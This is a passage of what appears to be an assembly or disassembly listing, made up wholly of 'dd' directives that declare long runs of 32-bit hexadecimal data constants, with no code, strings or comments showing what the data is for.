16344A5Ah, 0EC5E82A8h, 0DB912581h, 96FB5D5h, 30D53D03h dd 2F685DF0h, 9CF32B7Dh, 6CC05144h, 7FED0287h, 0ABF29506h dd 7513836Bh, 0BBFCD309h, 925ADF49h, 259E637Fh, 0DF41FE62h dd 0BF830E66h, 89093B92h, 0CC80DDDh, 1FED2F4h, 2CD0F6C8h dd 3E5A3401h, 526680C0h, 98B31E53h, 0E5D95E51h, 0CF047A2Bh dd 3CBB0049h, 0B045DA07h, 28AF4101h, 506813F0h, 12BD6ECCh dd 4547E0Eh, 13E7B112h, 48175E0h, 405A3AF2h, 7614C077h dd 0C40404EFh, 0C8BCA31h, 12778EEAh, 0A3EA5F66h, 4D99194Bh dd 2DB23895h, 94571014h, 8749F0Ch, 0BA405150h, 63F1ECF1h dd 0ECC73705h, 13A8CE8h, 45E5EF78h, 0D5FF8208h, 827259DDh dd 757058AEh, 6B2EEE5Ch, 8320D902h, 8765402Ch, 4ABA9D5Ch dd 0BFEC5857h, 8BAF0515h, 134BC6B0h, 0E72873E9h, 0B8CC4E97h dd 60BB1CB8h, 0FE2D81AEh, 0D4489F3Dh, 1E30A692h, 7F05A413h dd 776D16C0h, 7F60EF52h, 1F56894h, 6D25BA7Ch, 2E313E3Fh dd 92E91D17h, 0CC69083Eh, 55B98957h, 5B7FBEBAh, 0D4758B4Dh dd 72C3F827h, 570B0D3Ch, 0D067D325h, 0C1685C8Ch, 0C260524Ch dd 6440478Fh, 5221FEB1h, 61172C71h, 53EE3397h, 0BDFE3CAh dd 55790950h, 0DF49BAF3h, 0E9163894h, 0F9929F4Ch, 5E17680h dd 0B908A268h, 5A83200Fh, 2791E049h, 378A470Bh, 7E966C89h dd 654CB721h, 80E3F02Ah, 0A9E1D94Ah, 10ADE22Ah, 59256E99h dd 0C06E32FFh, 0E163A095h, 0D676BC2Fh, 3E253305h, 96BC91F4h dd 0B571FABh, 0C5F74AB8h, 5B3910A2h, 79586586h, 0D5BB95CEh dd 282E220h, 3DFB6850h, 0C07506BBh, 13960512h, 535CECE9h dd 8D18BF9h, 55C2E9h, 685BDE09h, 189D6982h, 0E136F028h dd 0D247B83Bh, 12C400A0h, 0BC4A330Eh, 552125C8h, 3AA0E1C6h dd 0B04C5935h, 118C10BFh, 75FB2D03h, 6DD2621Ch, 502DDB7Ch dd 186827C3h, 4CF0DE46h, 0C7D23A4Fh, 9645DF34h, 48E5425h dd 0C511215Bh, 33198750h, 7A0B1BCFh, 2F7FA87h, 74457611h dd 0F75A56Fh, 508B6968h, 16E39766h, 34685C0Fh, 0E9D31638h dd 539BE9Ah, 0E2BFBCC3h, 0A804BA3Fh, 0F817DBB3h, 234E62E8h dd 89F35461h, 7D584703h, 0F6387F3Eh, 9B0EF700h, 0FA01119Ch dd 0EA29305Fh, 5966B98Eh, 27090F48h, 774B09F5h, 5A60665Ah dd 7E4C081h, 0D8F43880h dd 4458E31Fh, 0FB14B252h, 8668C204h, 0AA42E999h, 120D7EF4h dd 3374D3D2h, 737B4F51h, 7439C06Ch, 10D4145h, 4F9840DDh dd 8B59FAE9h, 0F79DB238h, 0F2107A40h, 5B0EF6BDh, 8D4077F3h dd 143944C6h, 4A4E4883h, 0EB2F58ECh, 1A2F4B74h, 21DD52A1h dd 0BB95170Fh, 6794102Ah, 4EDBFC5Bh, 3C3A1B99h, 0B52FE92Bh dd 0F498F5D7h, 0AC241EEBh, 0DF1F0A37h, 0C4CD55A7h, 410CF925h dd 356D9FE9h, 1F00737h, 689031E8h, 0D2725BB6h, 0A1BA002Ah dd 3D4EE04Ah, 0F506E0E9h, 9079D56Dh, 15255116h, 36373805h dd 0E0F034EBh, 5281BFF9h, 0B675DFD8h, 1F89C471h, 7734E549h dd 40714916h, 9CF2B3ACh, 2DC90F62h, 0F0680137h, 517DC256h dd 0E7E56920h, 6C7DFA80h, 14A422Dh, 80685153h, 706FA14Eh dd 0E917F976h, 0A0BC3C3Bh, 1E98FBA5h, 4AEA25E9h, 54F025C4h dd 4FE711D7h, 135B7B48h, 5EA7A6CBh, 1B45FB8h, 38685561h dd 6C13C556h, 0D1C9E1h, 1CFFF579h, 20BD98F6h, 295850A4h dd 0E2889EEDh, 0EC5D166Ch, 0B3FB9216h, 0C8E98478h, 0B95B2FB8h dd 9AB68452h, 4BD1D9C1h, 50CA382Ch, 8AE9E1B1h, 22BC052Bh dd 1C28309h, 60250D01h, 3FE9F873h, 942FB6Ah, 0B54DD08h dd 41DCBD55h, 0C8AF96BDh, 58C25547h, 0E9E8D719h, 95BF268h dd 0E9C289E7h, 0DB75ECF6h, 60D5A792h, 35E90723h, 0E07BC5A1h dd 141795FDh, 0CBEF019Dh, 5D0F405Ch, 0BAD0892Fh, 9927DFD3h dd 0AA5154E9h, 0C500EB2Dh, 0B439F668h, 66757AFAh, 0BB369576h dd 0B0B96B7h, 1FE95051h, 0FC0370A9h, 65C90D11h, 10CA6A3Ah dd 61444110h, 0DB5AB65Ch, 0FAF729F8h, 0A3145E79h, 88DE13BAh dd 68CC70AEh, 4BC47619h, 0C3478EFCh, 1CE9DF06h, 0EB516950h dd 540CA708h, 0EA28B4E4h, 0B438F084h, 0D8F73993h, 101C5D8h dd 81527D30h, 0D07CE0CFh, 11C725Dh, 9C0BE56h, 0E6FC73A0h dd 760DE221h, 0F3C61F69h, 4E1D897Ah, 99138884h, 20B86BD4h dd 0B8B94186h, 262BD70h, 0E6AB77CDh, 8FE69DE3h, 0D794FA4Ah dd 7E7A98EEh, 2C80C940h, 17FAF4EBh, 18C16683h, 0B5518D0Ch dd 0B5541EBAh, 0C60B9302h, 0A8186D6h, 4324132Ah, 6563F68Ah dd 2EA32C2h, 17CD45Fh, 0E066F1EFh, 3ACC35C5h, 0BA0F0BA4h dd 257C9FDAh, 8D3C68D2h, 74FC5859h, 0CD2AE118h, 0E1B8F001h dd 0B846D751h, 0FB291243h, 0F714F0EBh, 3556960Ch, 97069464h dd 7D84A955h, 7C27F97Bh, 0CC029F6h, 0CD9D4942h, 70639A13h dd 0A05E4B8h, 0FB440C7Ah, 0DD29C4C2h, 4555B40Bh, 0DBE9C115h dd 0F4BB7412h, 76AE5314h, 7052887h, 2C1EFEF8h, 0FEAF757Ah dd 0FDE9844Bh, 1CBDAE7Dh, 7A96083Ch, 1D62AF25h, 0F9FFA4Fh dd 4168E3C1h, 1F845DAEh, 0C9E5EC38h, 471A7563h, 0BA4CA904h dd 0A0B84270h, 5F130E21h, 2964F831h, 48A9A244h, 0B18F10D4h dd 92CE84Bh, 0C6474468h, 4BBA2F31h, 36FFAF19h, 0DF0CD61Dh dd 4EC5E13Ah, 6570AB58h, 0BEDB34E9h, 35766269h, 30F0F366h dd 22FAD44Bh, 0C16A41F8h, 0D551C35Fh, 0BA5B60A8h, 400B953Ch dd 13B059F2h, 19383220h, 4C8EBA52h, 0BA052B7Eh, 89CC47FEh dd 9DB47150h, 7095B150h, 0D3F6320Ah, 0F661520Bh, 0C2B47C33h dd 54EA88A6h, 0D8CF70E9h, 5E1EE3DAh, 569C5B90h, 0CE10D0EDh dd 0C4B1514Dh, 0C482557h, 6FE60279h, 42310347h, 6C0880B7h dd 9F0D8E67h, 8201256h, 822646C6h, 3316B057h, 68543143h dd 9B167ABBh, 0A522CA8h, 0D5B991EEh, 0B2040532h, 2EC2D2EAh dd 0CFF85D33h, 60180883h, 0C1A7860Ch, 0B48126Eh, 4F08B00Ah dd 0D2BDA4B2h, 27FD099Ah, 1C8C6D32h, 1B7986D4h, 0E9476905h dd 44BF4233h, 0AF3EA06Ah, 0EBAB18Ch, 3391508h, 7EA0FBDFh dd 961773BFh, 0B1EBBC55h, 8D2A7840h, 141D427Dh, 2F41C77Fh dd 556474FEh, 5D863AF2h, 8704BE5Fh, 0B66850FDh, 5844CCABh dd 4CB5D4B7h, 0F780E8C8h, 51EFA1D1h, 0EBCB0338h, 0FB557BA9h dd 2AC3A20Ah, 0B4C213E9h, 81969ECh, 0B0206466h, 2EB26E1Eh dd 72AD8B5Eh, 69F29710h, 0E3A9D0BDh, 2E9AFDh, 2B49BD1Ch dd 4D692EFAh, 427B0602h, 6DE1BD13h, 1DC438F2h, 7CD65652h dd 0CB3E2BF1h, 709919AAh, 0C02B5473h, 246E42A4h, 0ED8EE8BDh dd 0DB9104B9h, 0C2E901F0h, 0BC73B146h, 940DFBA4h, 0F07E18C7h dd 6F4CCD1Eh, 84BD6914h, 4F0C7D24h, 0AD129A7Eh, 4AFBC2Eh dd 0D9EF015Bh, 56BE2B6Dh, 89DE08D7h, 96C73B3Dh, 6291395Ah dd 0C9103F54h, 0A53038F5h, 74C17C76h, 0D79A098Eh, 6770DCE9h dd 0F788531Ch, 0B896F89Eh, 68AE60AFh, 0DBB75E31h, 5B841806h dd 4B0EFEEEh, 0E96827B9h, 3D32E971h, 0A6963F22h, 23495AD7h dd 5518A5E5h, 48C0CFBBh, 30F9E174h, 0D100CD2Bh, 0DA8801E0h dd 0D40EB07Eh, 0B9FAF672h, 7BBBABAAh, 0B0BAD883h, 0B350A15Eh dd 737D9846h, 3E30405h, 0D84C3968h, 8025487Fh, 1746FEEDh dd 8F26442Ah, 9832EADCh, 65F65D0Fh, 0A3957F2Dh, 6DC05812h dd 398012B6h, 0F69F59CEh, 0ADC74926h, 0F3052514h, 386203A5h dd 568017F2h, 0A23ABF68h, 82A2124Fh, 9738AC7h, 4960E5DFh dd 21109054h, 0C37B84Bh, 18C91527h, 97BB653Fh, 4D23C1C3h dd 50AC960Ah, 0F0F25DE5h, 0FF20AA5Ch, 0CA7026D9h, 87838243h dd 0C4BD9EBh, 25CACBFEh, 4CDDE22Bh, 95F1F628h, 0CEB88F00h dd 1913C10Dh, 9572C731h, 81CE4B58h, 0CAC75BF8h, 95258B8h dd 7FC0BD66h, 5D2D6157h, 0E990A5FBh, 9F2815Eh, 22A11CF9h dd 12DB9D8h, 2C94D5F5h, 2FF25C5Ah, 13476B50h, 234A467h dd 0B14A1D14h, 2CF59AC0h, 71604E0Fh, 680281C1h, 383234F7h dd 44FC9369h, 0AC5E2410h, 905F7E20h, 0D92D1ABDh, 0F549BCFCh dd 0CE0FC39Ch, 130A442h, 6E7BE9C1h, 2D7C462Bh, 0E19F0C27h dd 65AF57AAh, 0E741265Eh, 38CC56E2h, 533B44Fh, 0FA4EB4EFh dd 6AE11313h, 0EAB2852Ah, 1357F2A0h, 0BE1F5247h, 44F8B8A1h dd 0EC025F40h, 7A664CF8h, 2D82194Ch, 50EE5431h, 46BD2A0Ch dd 66CCB5E9h, 0F37D9627h, 4DF525F8h, 988F9652h, 772230E6h dd 0E90609A7h, 7DC8816Fh, 599773F5h, 0BDC4CFDBh, 2CFFBD5Bh dd 66938251h, 2C1977E8h, 7FBF107Fh, 96E4AE5h, 0AE17580Fh dd 0C01AFF1Ah, 972E9441h, 0C024167Fh, 65B85090h, 7460AF56h dd 5E06BBCAh, 0B6E9164Eh, 0D1A2A964h, 0D4BA4A98h, 38A7FE22h dd 294ADD4Bh, 6704961Dh, 5A04F4BFh, 5217AE57h, 948491FAh dd 0FF906E7Bh, 144348BBh, 0AAEFC109h, 245F010h, 0F528A6B6h dd 5393605Ah, 0A8C44E04h, 590A74E7h, 0AF169868h, 0FBA6F88Ch dd 1C900CEDh, 680C6DE1h, 60D4C416h, 8D2F7A29h, 0F3857EFDh dd 6A62E1AAh, 3F8B1E04h, 68F2D697h, 9EB0F599h, 6DE847C7h dd 0CAFA294Ah, 2FE03369h, 0C5C8825Ah, 0B2E9890Bh, 357EC5A9h dd 956F2A58h, 0FCEC96D7h, 229B5BE6h, 825F59E9h, 1EFFAB1h dd 262E2968h, 0A4107DAh, 60896CB0h, 0FA02CD22h, 0AB7F4A70h dd 5C78AC90h, 93637F0h, 79C29054h, 2BF17BAAh, 0A0A47F1Eh dd 9C70E4C9h, 6B436782h, 9C6C9455h, 68556031h, 0D3B47F12h dd 5B08D660h, 1660BD1Eh, 71955768h, 0D2BE8C8Bh, 55973121h dd 84406F1Ah, 360166A3h, 0E9E5D12Fh, 0A33F5907h, 93F848A3h dd 79352A01h, 5D267663h, 0FA4A1F58h, 0A32192DDh, 77BECA6Fh dd 7C5BA940h, 0BA025A83h, 5BE5D628h, 0BE1FD167h, 27B76B82h dd 6AC4776Fh, 6140EBF5h, 0A7685053h, 3CE3F12h, 4B757227h dd 0E179DB9Bh, 0DA414523h dd 5CCE70BAh, 1BE604FFh, 0C5A4C0EBh, 4D30715Bh, 45F20C32h dd 29F01207h, 0E98716E8h, 1AEA02D8h, 0D52EA151h, 20086B28h dd 6EF9BF88h, 78CB09EBh, 0B82C3BA5h, 27569F90h, 0C0574231h dd 9F215A2Ch, 3B304EE0h, 0EF968F82h, 0F9484F6Fh, 0F8B5C7Eh dd 0F3ABB0E9h, 9F5D36F5h, 40E3F500h, 9F76BEh, 800635F2h dd 6BE91274h, 63A36112h, 0C0CD488Eh, 68644899h, 2474BDFDh dd 92117161h, 0EEF700E1h, 812EBB51h, 1D49F605h, 0C4FA2695h dd 7F7ECEFBh, 26B97600h, 4A4F9F05h, 0F0EA11h, 40740D7Eh dd 0C49E212Dh, 0C6317D12h, 0D770B41Ah, 0F1013FC0h, 4695B4EEh dd 0BFBAFEB6h, 0F3664505h, 9A533074h, 486D2AEFh, 137F4362h dd 15E796Fh, 91204592h, 0E3A1607Bh, 3F855D09h, 0D972D547h dd 2A33101h, 0F5FE9AEh, 5E6EF22Bh, 0EFE4FBBCh, 42951330h dd 0A3E4C63h, 0CD007E4Ch, 459A5250h, 5BDDBE9h, 4DF04A24h dd 0FB442E8Bh, 0F694275Ah, 0BEB04C97h, 50ADB850h, 1D74C218h dd 95210988h, 70BEF964h, 9E385116h, 84D3D0A2h, 1C039A06h dd 540BD80Dh, 42793A04h, 0FA8D00AEh, 9564F87Ch, 3EF3240h dd 0B4E1E883h, 3F0C2704h, 8C3CFE03h, 88EAC84Ah, 735FAED6h dd 91B334BEh, 0F467BA6Fh, 3FE7E97Ah, 48CBF0D0h, 34932F27h dd 0DA745CC2h, 90C5A7BEh, 381EBACAh, 0F44FA835h, 5A4FE93Dh dd 2A679587h, 30341D83h, 68EF0DAAh, 1B9D787Ah, 58A7F2D9h dd 0C4215BF5h, 0AE2CAE3Ah, 0FE424478h, 6C8B25DEh, 0F8441121h dd 0D0A0086Fh, 0C380D100h, 17D8289Ah, 0A3B43AE9h, 63B91212h dd 40577F32h, 3F6EB7C3h, 3E901601h, 554A2707h, 0E8F22A98h dd 72E15A14h, 0FD90CD3h, 0BA22DAD3h, 9F01784Ah, 50798C6h dd 51EA1A47h, 9CE0D8D4h, 25235CEEh, 0F80BB381h, 9DF44007h dd 5E4F0430h, 802D5E5h, 0FBFA8059h, 0A0487416h, 0B33CDBEh dd 0C2E96A6Ch, 99EBFE48h, 4C842B18h, 2651FD0Ch, 27444470h dd 0CF656E54h, 0EA4B38B8h, 3CF94EDDh, 5E09007Ah, 5184CA81h dd 0CE4A9F28h, 675D7C30h, 2F531BC6h, 0EF7656D7h, 0ABB508A0h dd 0E9927105h, 8A9665D7h, 9DCB6E94h, 5927CACBh, 45E46FCAh dd 9244EEE8h, 841A641Ch, 0CB4607Eh, 58C16CFCh, 824F804Dh dd 1812F418h, 146A572Bh, 2CE90802h, 76D1EEA9h, 3DAE5045h dd 82AD7AEEh, 1865C781h, 7F16201Dh, 280F1B40h, 41CAC0B7h dd 29FA2F85h, 1E56F27Dh, 0D01AFD27h, 0D58809F5h, 5527364Fh dd 0E989FCE7h, 601E76F7h, 6207A4BFh, 15267A60h, 14414F33h dd 450F82E9h, 0FD6C0B16h, 10F6D07Bh, 0BD1F4754h, 111A09BEh dd 0E57F60FDh, 3B0A1D40h, 90F58173h, 8239A338h, 7B043E0Ch dd 0E4694054h, 139F0521h, 0EB59CD09h, 5642C2h, 332F89BBh dd 0D82C7C7Eh, 0F608985Bh, 0CF880916h, 3769C7DDh, 83227B44h dd 6377C388h, 2FB7D10Bh, 13103866h, 0F6462793h, 2DAD0FEEh dd 7F00498Bh, 4D952362h, 18F18928h, 0D3B98625h, 0E090BD6Dh dd 0CBA44A7Ah, 124814A1h, 0ED28BF14h, 0AB40B707h, 0D3710230h dd 46E0095Eh, 25C79C4Ch, 0E9F031F4h, 45984B7Bh, 0AA9F5311h dd 0C8106ECDh, 0BB786568h, 7D3A0D04h, 0E05B614Bh, 13EB417h dd 6B4EF2CAh, 0AAD770ECh, 0DC6F1A04h, 0BCEF2906h, 749CC701h dd 0F801C805h, 1D67122h, 0B046D2C9h, 52F64769h, 34498651h dd 7CCAFCC8h, 32110CC0h, 26C12395h, 78305E5h, 0CC446D71h dd 0E6E8FB64h, 5FA334Ah, 0B95DE8E9h, 1FB0840Ah, 42588737h dd 0B1DD277Dh, 0A064E0D1h, 80D1DB8h, 1AFCEFECh, 12BC8B08h dd 98CCAB57h, 8499BC7Eh, 0FA5B5AD5h, 0DBDECC1h, 46474782h dd 0C0571BFEh, 4F6268FBh, 2657E328h, 583E3FFDh, 43AA817Ch dd 0A0347317h, 4EED2D4Ah, 69F2D55h, 0C7EBF0EFh, 89380568h dd 0ECC2FEE9h, 51F8B111h, 52D02800h, 66BDB638h, 803140CAh dd 123562BCh, 14D7354h, 6C55A32h, 7C56A715h, 611A2F3Fh dd 399A7B6Bh, 73F5EFA7h, 0E747F59h, 0BF83FBBDh, 0C828C812h dd 0D64BF7C3h, 0D04588FAh, 3EA8D355h, 0E35095B9h, 0D64512C3h dd 72370760h, 0E03B056Ch, 0FE5FBC57h, 0C0BE55D4h, 28B92C83h dd 7B04F03Ah, 4888009Dh, 0FC87F280h, 0BAFADF3Ch, 0C074B57Dh dd 6104FD52h, 1CB9E8E4h, 5635CC2Ch, 41843688h, 0A6CC7FD8h dd 0EFC3D253h, 32F6BD01h, 9A601D16h, 6291228h, 10460175h dd 83789F55h, 0DD4DE418h, 0C4464096h, 0BD174A9Bh, 5F084017h dd 7D30535Ah, 25C255Bh, 0E9717E59h, 0D95D9691h, 8414909Bh dd 0F2FF4868h, 25387801h, 75FB4F27h, 58A9AC37h, 679D0ECFh dd 50FED370h, 596F082Dh, 0A7EA930Ah, 7D3D74F9h, 0D2BEBA4Ah dd 0C55D0157h, 764ACE3h, 0D5645446h, 0B046C04Bh, 324AEA3Bh dd 52263BACh, 9B3108A8h, 24AB5F13h, 0E30BC178h, 1379696Ch dd 5353DDD8h, 49126EE9h, 0D7D4E42Eh, 5F767974h, 0CBDFF73Ch dd 81D77287h, 7D1A3443h, 0FD677D0Ah, 5B7EC978h, 98134429h dd 81FCD53Ah, 69B11A9Fh, 23F55FFEh, 0F66BA9EDh, 36AC5E58h dd 0EF2B7455h, 4EAC6226h, 0C3064B53h, 50A7B556h, 0D13E258Ch dd 0D50B88D2h, 0DB11A16Dh, 0B430122h, 7042131Eh, 2E18A0F6h dd 0F20E5372h, 0F15E7754h, 0A22A0C80h, 0D73180ECh, 7F520C96h dd 0D695A0F8h, 2438EB69h, 65137CF1h, 65F02C70h, 0A30C00A4h dd 4E853511h, 83A37B57h, 4205D5B0h, 0FDE82925h, 713C4AB0h dd 20C14DC0h, 0ED409242h, 253B35F0h, 68C3F4BAh, 3A1D2DC1h dd 36BC9F56h, 5BDDAD5Eh, 0B3B02CEFh, 0F8A4705Bh, 303E3A32h dd 2DD01A8h, 1DC7BE56h, 48F72DE6h, 2A1F671h, 0E9068C51h dd 0CED79AC3h, 0DCB82ECDh, 257300E0h, 11155A0h, 23683507h dd 0F45033AFh, 59EC29h, 4A2DD8F7h, 898F3451h, 0D7F4D098h dd 843B5748h, 3CF461BAh, 42DC4F62h, 970435Fh, 3023CE40h dd 0D6FD6BE1h, 0AD226484h, 0DC7C0493h, 12EB2BB9h, 0EFD03510h dd 0B22E3188h, 73927622h, 7CFCBF30h, 5F835EE2h, 0D54B46F9h dd 6856D860h, 349D34F6h, 0C9189F94h, 9A046855h, 5D388F67h dd 986ADB80h, 0E9C70C70h, 6868F108h, 98772F2Fh, 221BE56h dd 0E9769F5Eh, 2CAA3DBh, 0D7C50B55h, 647B9711h, 68165A1Ah dd 3DBE1A26h, 5B9E323Dh, 5687EFD2h, 69F95277h, 6F084608h dd 0AB619204h, 0E5E92830h, 9D26BA5Bh, 4F601F48h, 0F76B53BCh dd 53252CE5h, 4E18A515h, 1567A3E9h, 2CB491Ch, 0A475D40h dd 3AC0379h, 0D5DA4B4Ah, 3C054D6Ah, 0AF8E56A3h, 10E23841h dd 8C20B81Ch, 64404E0Bh, 527AD81h, 2AC169A7h, 0FF4A77E9h dd 0E2E9D303h, 88341295h, 827812EFh, 1C414254h, 19442B0Dh dd 18816352h, 37F55457h, 3188026Eh, 71775BDEh, 0C5572B7h dd 0BCB21EFh, 11B05A52h, 37FE1009h, 0A0E75AA7h, 8355915Bh dd 1053743Ch, 0B14B4190h, 0F269E6B9h, 0DDF82E01h, 0B83676E0h dd 4CB9DA48h, 1E101FCh, 74E94C7Bh, 0D3E4032Fh, 0A1BD68E0h dd 5A71F04Bh, 63800AD7h, 923A6EBh, 0DA01142Fh, 0A7B01DD7h dd 0C425E6F0h, 2A604867h, 0C01C971Bh, 0C46DF497h, 68D690C5h dd 99CB1416h, 17BCD091h, 132C2624h, 68770215h, 83741A63h dd 0AE928464h, 0BF9CFD01h, 5369CA31h, 0B8004296h, 52980D8Dh dd 66F85690h, 5BF73A5Ah, 8613424Ch, 0B54E24A9h, 0E3403045h dd 7EF12980h, 0E226F25Eh, 31D490CEh, 0DF1DD110h, 9506A05Bh dd 9079D81Eh, 0C909D028h, 5D24E05Eh, 35647732h, 0D32DE598h dd 0EB7C540Ch, 0F997FACCh dd 0C1E962D0h, 1B27C4DEh, 75E59A02h, 0DD13DBB0h, 0EE4D5A80h dd 0F3B95AF8h, 858D4812h, 265E8AC7h, 1082B416h, 17E2F05Fh dd 0BE1C5709h, 971401CAh, 0BF809A82h, 299FEE18h, 0B752DA9Dh dd 2F253996h, 27CE5B05h, 96DF1E42h, 2F6B2D9Eh, 3CC0F3C8h dd 0A71BFC97h, 4E3B2D7Eh, 0F63573B0h, 0D2A09051h, 78B1A2A8h dd 7F16D69h, 26FF52D8h, 4B33022h, 880FBEC3h, 4650BA4Bh dd 0B5CB5808h, 0B11B6FFh, 7445B9E9h, 8C6D507Eh, 0D4D017C9h dd 105F2F9Ah, 1FEDCA80h, 0BC077E2Bh, 0DC524DA5h, 0C786119Fh dd 8B8EB26Eh, 424D025Eh, 685FF976h, 2AC25055h, 1806DA3Eh dd 10DC6F5h, 76E917EEh, 0CE2DBF42h, 96ECE82Bh, 13528EAFh dd 74A3132Ah, 0E8609213h, 0E050E28Fh, 0D6CB542h, 0B1B8258Ch dd 45B2460Bh, 0AF9A6F9Dh, 844F95Ch, 90EB86C1h, 7D785173h dd 2110C446h, 61ADB3F8h, 0F36DE959h, 18AB396Eh, 0EE4829E5h dd 12FB132Eh, 9E38A30h, 0C0BF5F7Ch, 0EF4D9BADh, 4FD4C48h dd 0E8052D2h, 8AD488BBh, 18661C18h, 174EFEF0h, 0BB095051h dd 9DC0DAC7h, 2AE92241h, 0C9B43887h, 5AF0613Ch, 7CBB585Fh dd 4F5B46C6h, 952E7C26h, 0E55343D9h, 1C14CD52h, 7F3A1056h dd 0E6379460h, 0D89FBFA8h, 0B0554A7Eh, 7D955B2Ch, 0C9B5491Ch dd 87CF4AC8h, 0AD4A508h, 0A41AD65Ah, 22C90041h, 936832A6h dd 0E912E09Ah, 0E721A95Fh, 0CA527BAh, 0CAC677Dh, 0EBB3E1A7h dd 6642840Bh, 37572152h, 2F317673h, 0D455776h, 93D2C77Bh dd 0C1C5270Fh, 27CFCB5h, 0A112615Ah, 2123D225h, 0D335EB1Dh dd 62659E3h, 3B2D34A1h, 6D23E91Ch, 164DFF25h, 0FEC62709h dd 0ED81C067h, 1C253CBBh, 0A07C7C79h, 603AB008h, 0F8C3DF5Fh dd 0FBCF7Dh, 0B7174776h, 3A5B4EE1h, 8760E2A5h, 6EE0A463h dd 0D75E3ECCh, 0FEACE08Ch, 0EA80C200h, 5AD328AFh, 94B43C50h dd 0FADFCC97h, 30930403h, 0E95BB0DCh, 999C5BEFh, 842A45A4h dd 4B4FA8CCh, 0BB89EAAh, 0F48970E9h, 8A65EF20h, 0F22001C4h dd 0EC1AEF57h, 3AB5502Bh, 5FF22952h, 1E109EDBh, 99D5928h dd 58C04978h, 8918695Dh, 0BCB7EACh, 5618A5F8h, 0A69D0C68h dd 7FDB5EC1h, 60307858h, 5BB45560h, 0C91CC480h, 0FE4AB551h dd 880E8CC5h, 92C3CEEBh, 0AB6255ECh, 565DF8B5h, 964527D0h dd 49E97783h, 805A07E5h, 7988C0F4h, 0F7E4A975h, 0C5EC59Ah dd 9076B940h, 79E91566h, 0F50393F7h, 6634F68h, 99EAD5CBh dd 5F5F69D0h, 29F072F8h, 5A2FE9D7h, 7B947F90h, 0EBBB5307h dd 5FD9F334h, 0CB12EA10h, 0E9AF0C09h, 0F122104Dh, 332D12C1h dd 8C2D0B38h, 8EE3FD9h, 6C68052Ch, 77ECE372h, 0B38A8C5Fh dd 0BD4C315h, 0F7DEA096h, 4368DF0Bh, 2089664Fh, 0B8010998h dd 280E305Ch, 0B89582Dh, 2C201h, 1EFD9CC4h, 0C4374BADh dd 0F18ABA7Fh, 16EE94C4h, 0DAE740F5h, 8C09F68Fh, 46C55D82h dd 5B0B1D50h, 10D50A0h, 0DC2EB525h, 0E8050599h, 21CC83F8h dd 0EA81A61Dh, 536401CEh, 0D7605318h, 18051459h, 741F55Dh dd 1139E66h, 0B165ACE8h, 8204FAF8h, 4A7768A5h, 0E40EDCCEh dd 0CBA8C259h, 0ACE68100h, 39733D3Dh, 0BEF70597h, 0C91637CBh dd 0B232BF29h, 914112C5h, 433F2554h, 420F74DAh, 2B5BC005h dd 0ED0D751Ch, 48AC6B57h, 237DCCE1h, 11215FCCh, 8B2E2252h dd 0CE8B3B6Ah, 0C10715CEh, 4B310BE8h, 9C7E965Fh, 7DD059DDh dd 498D100Ah, 553E680Bh, 0CF83579Ah, 1C133DC7h, 0E2EBEE88h dd 0A68D407Dh, 0C9853F9Ah, 936F59A5h, 32582130h, 0D8F8051Ch dd 15F68100h, 8977F85Ah, 0C05EF324h, 6D03CB9Eh, 0BAE906B2h dd 0DB6E754Ah, 0CBEDBB4Fh, 84EB04Bh, 1334FB9Fh, 0E343FBB8h dd 37E7DBE9h, 0A29D77DBh, 6C56841Dh, 0EEA6A582h, 0DA04F5D2h dd 2FD4C355h, 0E6960B87h, 0B3B13AD6h, 0B699BC2Bh, 0B76818F2h dd 4CC42F26h, 0D2133B91h, 0B22DD6C0h, 37DE267Dh, 48F1E26h dd 0BCC129C6h, 14FB4E2Dh, 3A20AE92h, 122A51BFh, 1EB6EE46h dd 6B330D18h, 7BB5594Fh, 277D4E41h, 68425CF3h, 57B28B1Dh dd 0FB2C3C45h, 494ECD03h, 0EDA00F38h, 561DE411h, 0CAC6E484h dd 6A00997Fh, 6850552Ch, 48B504F4h, 0F0B45549h, 18E8177Ah dd 5CC4B24Eh, 87CEC0FEh, 4234E9F5h, 88B8E21Fh, 313C0F04h dd 0DCC2C2FDh, 0C477609h, 664E6591h, 8FE32F4h, 2A1B49h dd 0E1815AD1h, 60B55022h, 61750C2Ah, 2B87F68h, 6E65940Fh dd 0DFC98067h, 264A1B5Dh, 2EED9F7h, 44B912E8h, 2BBFC2F7h dd 2C967FF0h, 2DFA575Bh, 9DA87E0Fh, 671A2498h, 0E92BC105h dd 45F27230h, 0BAD30112h, 2FDA3ACCh, 80220203h, 0BAD5E123h dd 1DCD4023h, 30936966h, 8057BE2h, 0C97BA85Ah, 13E10EE9h dd 5803B3BBh, 0B33000Eh, 0ACE95DA4h, 207BD235h, 4839CEC3h dd 863A58h, 7DB39DEEh, 2D5BDA29h, 64D3D689h, 21BEEA93h dd 2E3F937h, 18D48528h, 0AF9A53AEh, 631604E7h, 7E63622Fh dd 802024FEh, 915B40EEh, 781D7644h, 0F45D2DBEh, 84BE081Eh dd 0D86EDFCBh, 0E9E398BDh, 4C666087h, 28262C5Ah, 8F24C84Dh dd 0D80D5CB3h, 0B028E2E9h, 0A98214ADh, 0D70CA171h, 6B4ECC7Fh dd 4B13EF9Ah, 6D01EBD1h, 7AC83E93h, 5CABF3D8h, 144C9B77h dd 0AD12917Dh, 2941173Ch, 0F86ED461h, 9CE4FDEh, 0CAB3D84Bh dd 26E2645Eh, 8FCAED25h, 3EA05D61h, 4A8A5D16h, 0EF223864h dd 7616C29h, 5479EE3Bh, 8084ED3Ch, 10841635h, 5BE9B0AEh dd 1C73C697h, 2F7EB568h, 4B2D94F5h, 7C9BACD3h, 840D6448h dd 0EA24BB53h, 0B7346C1h, 0BCE4412Ah, 9103632Eh, 0E916C00Ch dd 0C2FD201Ah, 0E43DF221h, 5F1AD93h, 0B4EE5A25h, 68951F01h dd 9E209C62h, 5DEE5065h, 0F762F796h, 2CF955D2h, 403B2E31h dd 27E913ECh, 56F3029Fh, 0D51D6009h, 0BE327232h, 4C694360h dd 0E8565B83h, 71518463h, 2704F916h, 5D0809FEh, 7F2DB3E9h dd 5047BF0h, 0B4505115h, 7381BFC8h, 497B6FD6h, 0A520E329h dd 0D0F7C531h, 71E958BDh, 95B07180h, 0E69D56F0h, 0C1682FACh dd 12B5DFDCh, 0C2E0B6EAh, 0DC474EE9h, 225AA54Ch, 0CEFA0135h dd 5F5E49FAh, 71A33F43h, 1637F885h, 8CD330CDh, 8000D487h dd 0D82817C3h, 3C2C5B17h, 1352F60Ah, 72F59409h, 6947135Fh dd 0E3BC0038h, 0E9524306h, 0A1C0C04Bh, 0B5E5305Ch, 8427BC16h dd 12246A3h, 